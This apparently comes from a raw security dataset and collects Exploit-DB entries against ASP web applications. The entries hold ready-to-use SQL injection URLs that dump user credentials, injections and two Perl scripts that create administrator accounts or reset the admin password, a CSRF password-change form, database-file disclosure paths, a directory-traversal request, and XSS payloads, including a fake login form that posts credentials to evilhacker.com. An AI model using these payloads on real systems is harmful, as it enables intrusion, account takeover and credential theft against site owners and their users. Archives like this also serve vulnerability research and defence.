deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10823
Description: UranyumSoft Ýlan Servisi - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-30
Author: LionTurk

Exploit:
==============================================================================  

                      _      _       _          _      _   _  

                     / \    | |     | |        / \    | | | |  

                    / _ \   | |     | |       / _ \   | |_| |  

                   / ___ \  | |___  | |___   / ___ \  |  _  |  

                  /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|  

   

   

==============================================================================  

        [»] ~ Note : Mutlu Yillar Millettt

==============================================================================  

        [»]UranyumSoft Ýlan Servisi Database Disclosure Vulnerability  

==============================================================================  

   

    [»] Script:             [ UranyumSoft Ýlan Servisi  ]  

    [»] Language:           [ ASP ]  

    [»] Download:           [ http://aspindir.com/Goster/5420] 

    [»] Founder:            [ LionTurk -  Bylionturk@kafam1milyon.com }

    [»] My Home:            [ RevengeHack.com ]  

    [»]N0T3    :             Yeni Aciklarimi Bekleyin.


###########################################################################  

   

===[ Exploit And Dork  ]===  

   

  [»] http://server/[dizin]/database/db.mdb

 


  [»] Copyright 2008 UranyumSoft.com | Tüm haklarý saklýdýr.

  [»]   Admin Page: /yetki.asp




Author:  LionTurk <-  

Bizim Asiret: eXceptioN,CodeInside,CristaL1o,Hack3ra,eXtReMe,By_HKC,TerrorZveng

                 

- Ben Ne Heykirlar Gordum  site heyklicek exploiti yok.Ben Ne exploitler gordum kullancak heykir yok :D

                                 


###########################################################################
Exploit-DB #2763
Description: UStore 1.0 - 'detail.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-12
Author: ajann

Exploit:
*******************************************************************************
# Title  :  UStore 1.0 (detail.asp) Remote SQL Injection Vulnerability
# Author :   ajann
# Vendor: http://www.superfreaker.com/
*******************************************************************************

###http://[target]/[path]//detail.asp?ID=[SQL]

Example:

//detail.asp?ID=-1%20union%20select%200,username,password,0,0,0,0,0,0,0%20from%20tblusers%20where%20id%20like%201

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-12]
Exploit-DB #2764
Description: USupport 1.0 - 'detail.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-12
Author: ajann

Exploit:
*******************************************************************************
# Title  :  USupport 1.0 (detail.asp) Remote SQL Injection Vulnerability
# Author :   ajann
# Vendor: http://www.superfreaker.com/
# Dork   :   UPublisher


*******************************************************************************

###http://[target]/[path]//detail.asp?id=[SQL]

Example:

//detail.asp?id=11%20union%20select%200,username,password,0,0,0%20from%20tblusers

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-12]
Exploit-DB #10473
Description: V-SpacePal - SQL Injection
Type: webapps
Platform: asp
Date: 2009-12-16
Author: R3d-D3V!L

Exploit:
[~] Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
[?]
[~] Vendor: www.datachecknh.com
[?]
[?] Software: V-SpacePal
[?] Price $29.95 (One-time fee)
[?] author: ((R3d D3v!L))
[?]
[?] Date: 15.12.2009
[?]
[?] Home: WwW.XP10.ME
[?]
[?] contact: X@hotmail.co.jp
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????

[?] ERR0R CONSOLE

NOT FOUND CHAR_(N0T NULL)

[?]SECURE ALERT FR0M 7h3 R3d-D3V!L

[?] Exploit:

[?] User Name : admin


[?] password : X' or ' 1=1

[?]demo:

[?]server/VSPACEDemo/login.asp

N073:
R34L R3d-D3V!L WAS h3R3 ((?0NE NAME 7h3Y ALL FA!R ?))

4R48!4N-HACK3R!!

[~]-----------------------------{str0ke}-----------------------------------------------------

[~] Greetz tO: dolly & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 &#1616;ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------
Exploit-DB #23335
Description: VieNuke VieBoard 2.6 - SQL Injection
Type: webapps
Platform: asp
Date: 2003-11-03
Author: ekerazha@yahoo.it

Exploit:
source: https://www.securityfocus.com/bid/8967/info

It has been reported that VieNuke VieBoard may be prone to a SQL injection vulnerability that may allow an attacker to disclose sensitive information by supplying malicious SQL code to the underlying database.

A malicious user may influence database queries in order to view or modify sensitive information potentially compromising the software or the database. 

http://www.example.com/vie/viewtopic.asp?forumid=48&id=2736'
Exploit-DB #37892
Description: Vifi Radio 1.0 - Cross-Site Request Forgery
Type: webapps
Platform: asp
Date: 2015-08-20
Author: KnocKout

Exploit:
                .__        _____        _______                
                |  |__    /  |  |___  __\   _  \_______   ____ 
                |  |  \  /   |  |\  \/  /  /_\  \_  __ \_/ __ \
                |   Y  \/    ^   />    <\  \_/   \  | \/\  ___/
                |___|  /\____   |/__/\_ \\_____  /__|    \___  >
                     \/      |__|      \/      \/            \/
                         _____________________________ 
                        /   _____/\_   _____/\_   ___ \
                        \_____  \  |    __)_ /    \  \/   http://h4x0resec.blogspot.com
                        /        \ |        \\     \____
                       /_______  //_______  / \______  /
                               \/         \/         \/         
Vifi Radio v1 - CSRF (Arbitrary Change Password) Exploit
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Discovered by: KnocKout
[~] Contact : knockout@e-mail.com.tr
[~] HomePage : http://h4x0resec.blogspot.com / http://milw00rm.com
[~] Greetz: BARCOD3, ZoRLu, b3mb4m, _UnDeRTaKeR_, DaiMon, VoLqaN, EthicalHacker,
Oguz Dokumaci ( d4rkvisuaL ) Septemb0x, KedAns-Dz, indushka, Kalashinkov
############################################################
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Web App. : Vifi Radio
|~Affected Version : v1
|~Software : http://scriptim.org/market-item/vifi-v1-radyo-scripti/ & http://vifibilisim.com/scriptlerimiz-29-Radyo_Siteleri_Icin_Script.html 
|~Official Demo :  http://radyo.vifibilisim.com
|~RISK : Medium
|~DORK : inurl:index.asp?radyo=2
|~Tested On : [L] Windows 7, Mozilla Firefox
########################################################
----------------------------------------------------------
                      PoC
----------------------------------------------------------
<html>
  <body>
    <form action="http://[TARGET]/yonetim/kullanici-kaydet.asp?tur=g" method="POST">
      <input type="hidden" name="rutbe" value="1" />
      <input type="hidden" name="djadi" value="0" />
      <input type="hidden" name="resim" value="Vifi+Bili%FEim" />
      <input type="hidden" name="firma" value="USERNAME" />
      <input type="hidden" name="link" value="PASSWORD" />
      <input type="hidden" name="sira" value="23" />
      <input type="hidden" name="ilet" value="G%D6NDER" />
      <input type="hidden" name="Submit" value="Exploit!" />
	  <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

############################
"Admin Panel: /yonetim "
############################
Exploit-DB #7744
Description: Virtual Guestbook 2.1 - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2009-01-13
Author: Moudi

Exploit:
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================

==============================================================================
    Virtual GuestBook v2.1 Remote Database Disclosure Vulnerability
==============================================================================

	[Â»] Script:             [ Virtual GuestBook v2.1  ]
	[Â»] Language:           [ ASP ]
	[Â»] Website:            [ http://www.minitdesign.com/vgbook.asp ]
	[Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , and all hackers... ]
        [Â»] Team:               [ EvilWay ]

###########################################################################

===[ Exploit ]===	
	
	[Â»] http://localhost/[path]/database/guestbook.mdb


Author: Moudi

###########################################################################

# milw0rm.com [2009-01-13]
Exploit-DB #23408
Description: Virtual Programming VP-ASP 4.00/5.00 - 'shopdisplayproducts.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2003-12-01
Author: Nick Gudov

Exploit:
source: https://www.securityfocus.com/bid/9134/info

It has been reported that VP-ASP may be prone to a SQL injection vulnerability that may allow an attacker to disclose sensitive information by supplying malicious SQL code to the underlying database. The problem exists in the 'shopdisplayproducts.asp' script of the software. 

http://www.example.com/vpasp/shopdisplayproducts.asp?cat=qwerty'%20union%20select%20fldauto,fldpassword%20from%20tbluser%20where%20fldusername='admin'%20and%20fldpassword%20
like%20'a%25'--
Exploit-DB #23407
Description: Virtual Programming VP-ASP 4.00/5.00 - 'shopsearch.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2003-12-01
Author: Nick Gudov

Exploit:
source: https://www.securityfocus.com/bid/9133/info

It has been reported that VP-ASP may be prone to a SQL injection vulnerability that may allow an attacker to disclose sensitive information by supplying malicious SQL code to the underlying database. The problem exists in the 'shopsearch.asp' script of the software. 

This code creates a new administrative account:
Keyword=&category=5); insert into tbluser (fldusername) values
('qasdew')--&SubCategory=&hide=&action.x=46&action.y=6
Keyword=&category=5); update tbluser set fld[CREDENTIAL_REDACTED]' where
fldusername='qasdew'--&SubCategory=All&action.x=33&action.y=6
Keyword=&category=3); update tbluser set fldaccess='1' where
fldusername='qasdew'--&SubCategory=All&action.x=33&action.y=6

This code changes the administrator [CREDENTIAL_REDACTED]=&category=5); update tbluser set fld[CREDENTIAL_REDACTED]' where
fldusername='admin'--&SubCategory=All&action.x=33&action.y=6
Exploit-DB #23415
Description: Virtual Programming VP-ASP 4/5 - 'shopdisplayproducts.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2003-12-05
Author: Xnuxer Research

Exploit:
source: https://www.securityfocus.com/bid/9164/info

A vulnerability has been reported to exist in VP-ASP software that may allow a remote user to launch cross-site scripting attacks. A remote attacker may exploit this issue to potentially execute HTML or script code in the security context of the vulnerable site. 

http://www.example.com/shopping/shopdisplayproducts.asp?id=1&cat=[XSS Code]

http://www.example.com/shopping/shopdisplayproducts.asp?id=1&cat=<script>alert('test')</script>

http://www.example.com/vpasp/shopdisplayproducts.asp?id=5&cat=<img%20src="javascript:alert('XSS')">

http://www.example.com/vpasp/shopdisplayproducts.asp?id=5&cat=<meta%20http-equiv='refresh'content='0'>

http://www.example.com/vpasp/shopdisplayproducts.asp?id=5&cat=<form%20action="http://www.evilhacker.com/save2db.asp"%20method="post">Username:<input%20name="username"%20type="text"%20maxlength="30"><br>Password:<input%20name="password"%20type="text"%20maxlength="30"><br><input%20name="login"%20type="submit"%20value="Login"></form>
Exploit-DB #22888
Description: Virtual Programming VP-ASP 5.00 - 'shopexd.asp' SQL Injection (1)
Type: webapps
Platform: asp
Date: 2003-07-10
Author: TioEuy & AresU

Exploit:
source: https://www.securityfocus.com/bid/8159/info

It has been reported that VP-ASP does not sufficiently sanitize user input passed to the shopexd.asp script contained in the software. As a result, it may be possible for remote attackers to embed SQL commands which are to be passed to the underlying database engine.

#!/usr/bin/perl
# PRIVATE***PRIVATE***PRIVATE***PRIVATE***PRIVATE***PRIVATE***PRIVATE
# 1ndonesian Security Team (1st)
# ==============================
# VP-ASP Shopping Cart - Exploit
# Discover by : TioEuy & AresU;
# Greetz to: syzwz (ta for da ipod), Bosen, sakitjiwa, muthafuka all
# hackers@centrin.net.id/austnet.org, #romance@centrin.net.id
# http://bosen.net/releases/
use Socket;

$dodolbasik = "tioeuy.pl, VPASP exploit by TioEuy&AresU ";
$aksesnya
="1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29";
$pieldnya = '"fldusername","fldpassword","fldaccess"';

if ($#ARGV<4)
{
  print "\n$dodolbasik";
  print "\n\n Usage: perl tioeuy.pl <server> <full path> <id> <user>
<password> \n\n";
  exit;
}
$kupret="$ARGV[1]shopexd.asp?id=$ARGV[2];insert into tbluser
($pieldnya)
values ('$ARGV[3]','$ARGV[4]','$aksesnya')--";
$kupret=~s/\ /%20/g;
$kupret="GET $kupret HTTP/1.0\r\nHost: $ARGV[0]\r\n\r\n";
print $kupret;

$port=80;
$host=$ARGV[0];
$target = inet_aton($host);
@hasil=sendraw($kupret);
print $gembel;
print @hasil;

# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw {   # this saves the whole transaction anyway
        my ($pstr)=@_;

        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
			                     
        if(connect(S,pack "SnA4x8",2,$port,$target)){
                my @in;
                select(S);      $|=1;   print $pstr;
                while(<S>){ push @in, $_;}
                select(STDOUT); close(S); return @in;
        }
}
Exploit-DB #22889
Description: Virtual Programming VP-ASP 5.00 - 'shopexd.asp' SQL Injection (2)
Type: webapps
Platform: asp
Date: 2003-07-10
Author: Bosen & TioEuy

Exploit:
source: https://www.securityfocus.com/bid/8159/info
 
It has been reported that VP-ASP does not sufficiently sanitize user input passed to the shopexd.asp script contained in the software. As a result, it may be possible for remote attackers to embed SQL commands which are to be passed to the underlying database engine.

#!/usr/bin/perl -w
$pamer = "
1ndonesian Security Team (1st)
==============================
tio-fux.pl, vpasp SQL Injection Proof of Concept
Exploit by  : Bosen & TioEuy
Discover by : TioEuy, AresU
Greetz to   : AresU, syzwz (ta for da ipod), TioEuy, sakitjiwa,
muthafuka all #hackers\@centrin.net.id/austnet.org
http://bosen.net/releases/
"; # shut up ! we're the best in our country :)

use LWP::UserAgent;  # LWP Mode sorry im lazy :)
use HTTP::Request;
use HTTP::Response;
$| = 1;
print $pamer;
if ($#ARGV<3){
  print "\n Usage: perl tio-fux.pl <uri> <prod-id> <user> <password>
  \n\n";
    exit;
    }
    my $biji    =
    "1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29";
    $tio     = "$ARGV[0]/shopexd.asp?id=$ARGV[1]";
    $tio    .= ";insert into tbluser
    (\"fldusername\",\"fldpassword\",\"fldaccess\") ";
    $tio    .= "values ('$ARGV[2]','$ARGV[3]','$biji')--";

    my $bosen  = LWP::UserAgent->new();
    my $gembel = HTTP::Request->new(GET => $tio);
    my $dodol  = $bosen->request($gembel);
    if ($dodol->is_error()) {
       printf " %s\n", $dodol->status_line;
       } else {
          print "Tuing !\n";
	  }
	  print "\n680165\n";
Exploit-DB #24198
Description: Virtual Programming VP-ASP Shoperror Script 4/5 - Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2004-06-14
Author: Thomas Ryan

Exploit:
source: https://www.securityfocus.com/bid/10534/info

A vulnerability exists in the software that may allow a remote user to launch cross-site scripting attacks. The problem is reported to exist due to improper sanitizing of user-supplied data in the 'shoperror.asp' script.

An attacker can exploit this issue to steal cookie authentication credentials, or perform other types of attacks. 

VP-ASP versions 5.0 and prior may be prone to this issue. It is possible that a vendor-supplied fix addresses this issue, however, this has not been confirmed at the moment.

http://www.example.com/vpasp/shoperror.asp?msg=<img%20src="javascript:alert('XSS')">
http://www.example.com/vpasp/shoperror.asp?msg=<meta%20http-equiv='refresh'content=
'0'>
Exploit-DB #13789
Description: Virtual Real Estate Manager 3.5 - SQL Injection
Type: webapps
Platform: asp
Date: 2010-06-09
Author: Sid3^effects

Exploit:
       ======================================================
        Virtual Real Estate Manager V 3.5 SQLi  Vulnerability
       ======================================================

Name : Virtual Real Estate Manager V 3.5 SQLi Vulnerability
Date : june, 9 2010
Vendor url :http://www.mckenziecreations.net/products.htm
Platform: Windows
Price:$39.95
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,gunslinger_
greetz to :All ICW members.

###############################################################################################################
Description:

Looking for a Real Estate Listing script? Our Virtual Real Estate Manager was developed in ASP ( Active Server Pages ) and an Access database. End User Features : » Search by Area and type of property » Listings Page includes thumbnail of the property, Short Description, city, date added and price. » Details Page includes - 4 thumbnails that open in a new window with larger view. Heading, Description of the property, Details of the property, email to a friend and request more info. Admin Features : » Add, Edit and Delete Properties - upload images » Add, Edit and Delete Categories » Add, Edit and Delete Area » Change Password VRM : Is delivered via a ZIP file. You receive this exact template with the application. Easy to customize with knowledge of html or one of the following: Design Requirements : Front page - Recommended * Macromedia Dreamweaver Configuration Requirements: Notepad WordPad 

###############################################################################################################

Xploit: SQLi Vulnerability

DEMO  URL:

       http://site.net/VRMdemo/listing_detail.asp?Lid=[SQLi]


###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #31404
Description: Virtual Support Office XP 2 - 'MyIssuesView.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-03-13
Author: The-0utl4w

Exploit:
source: https://www.securityfocus.com/bid/28247/info

Virtual Support Office XP (VSO-XP) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/MyIssuesView.asp?Issue_ID=-1%20having%201=1--
http://www.example.com/MyIssuesView.asp?Issue_ID=-1 update QIssues set column='hacked';--
Exploit-DB #36375
Description: Virtual Vertex Muster 6.1.6 - Web Interface Directory Traversal
Type: webapps
Platform: asp
Date: 2011-11-29
Author: Nick Freeman

Exploit:
source: https://www.securityfocus.com/bid/50841/info

Virtual Vertex Muster is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface.

Exploiting this issue will allow an attacker to view arbitrary files within the context of the webserver. Information harvested may aid in launching further attacks.

Virtual Vertex Muster 6.1.6 is vulnerable; other versions may also be affected. 

The following example request is available:

GET /a\..\..\muster.db HTTP/1.1
Exploit-DB #15106
Description: VisualSite CMS 1.3 - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-09-25
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

 http://www.exploit-db.com/moaub-25-visualsite-cms-multiple-vulnerabilities/
 
'''

Abysssec Inc Public Advisory
 
 
  Title            :  VisualSite CMS Multiple Vulnerabilities
  Affected Version :  VisualSite 1.3
  Discovery        :  www.abysssec.com
  Download Links   :  http://sourceforge.net/projects/visualsite/
  Login Page       :  http://Example.com/Admin/Default.aspx
 
Description :
===========================================================================================      
  This version of Visual Site CMS have Multiple Valnerabilities : 
        1- Logical Bug for Lock Admin's Login
        2- Persistent XSS in admin section


Logical Bug for Lock Admin's Login:
===========================================================================================     

  If you enter this values in Login Page (http://Example.com/Admin/Default.aspx)
  three times during five minutes , the Admin's login will be locked:

    Username : 1' or '1'='1 
    Password : foo
  

  Vulnerable Code is in this file:
                ../App_Code/VisualSite/DAL.cs
  Ln 378:
                public static User GetUser(string username)
	        {
                  User result = null;
                  DataTable matches = ExecuteRowset(String.Format("SELECT [ID], [Username], [Password], [LockedDate] FROM [User] WHERE [Username] = '{0}'", Sanitise(username)));
                  if (matches != null && matches.Rows.Count > 0)
                   {
                     ...
                   }
                  return result;
                 }



Persistent XSS in admin section:
===========================================================================================     
  In Edit Section which is accessible to Admin, it is possible to enter a script in Description field 
  that only executed in the following path and never executed in other situations:

     http://Example.com/SearchResults.aspx?q={} 


===========================================================================================